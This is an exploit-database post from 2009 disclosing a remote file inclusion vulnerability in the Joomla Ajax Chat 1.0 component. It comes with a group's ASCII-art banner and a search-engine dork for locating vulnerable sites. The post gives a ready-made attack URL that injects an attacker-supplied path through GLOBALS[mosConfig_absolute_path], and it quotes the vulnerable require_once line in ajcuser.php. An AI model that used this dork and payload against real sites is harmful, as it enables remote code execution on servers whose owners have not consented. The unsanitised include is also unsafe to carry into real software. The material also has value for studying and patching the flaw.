Joomla Ajax Chat 1.0 remote file inclusion

==========================================
Joomla Ajax Chat 1.0 remote file inclusion
==========================================


#############################################################################################################
## Joomla Component com_ajaxchat Remote File Include vulnerability                                         ##
## Author : kaMtiEz                                                                                        ##
## Homepage : http://www.indonesiancoder.com                                                               ##
## Date : September 27, 2009                                                                               ##
#############################################################################################################
# Hello My Name Is :                                                                                       ##
#  __               _____   __  ._____________                                                             ##
# |  | _______     /     \_/  |_|__\_   _____/_______                                                      ##
# |  |/ /\__  \   /  \ /  \   __\  ||    __)_\___   /                                                      ##
# |    <  / __ \_/    Y    \  | |  ||        \/    /                                                       ##
# |__|_ \(____  /\____|__  /__| |__/_______  /_____ \                                                      ##
#      \/     \/         \/                \/      \/ -=- INDONESIAN CODER -=- KILL-9 CREW -=-             ##
#############################################################################################################
 
[ Software Information ]
 
[+] Vendor : http://www.fijiwebdesign.com/
[+] Download : http://www.fijiwebdesign.com/
[+] version : 1.0 -
[+] Vulnerability : RFI
[+] price : $49.95
[+] Dork : inurl:"com_ajaxchat"
[+] Location : INDONESIA
#############################################################################################################
 
[ Vulnerable File ]
 
http://127.0.0.1/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=[INDONESIANCODER-Ev1L]
 
[ BUG IN ]
 
ajcuser.php
 
error in line 7
 
// include our comprofiler class
require_once($GLOBALS['mosConfig_absolute_path'].'/components/com_ajaxchat/plugins/plugin.user.php');





#  0day.today [2018-04-09]  #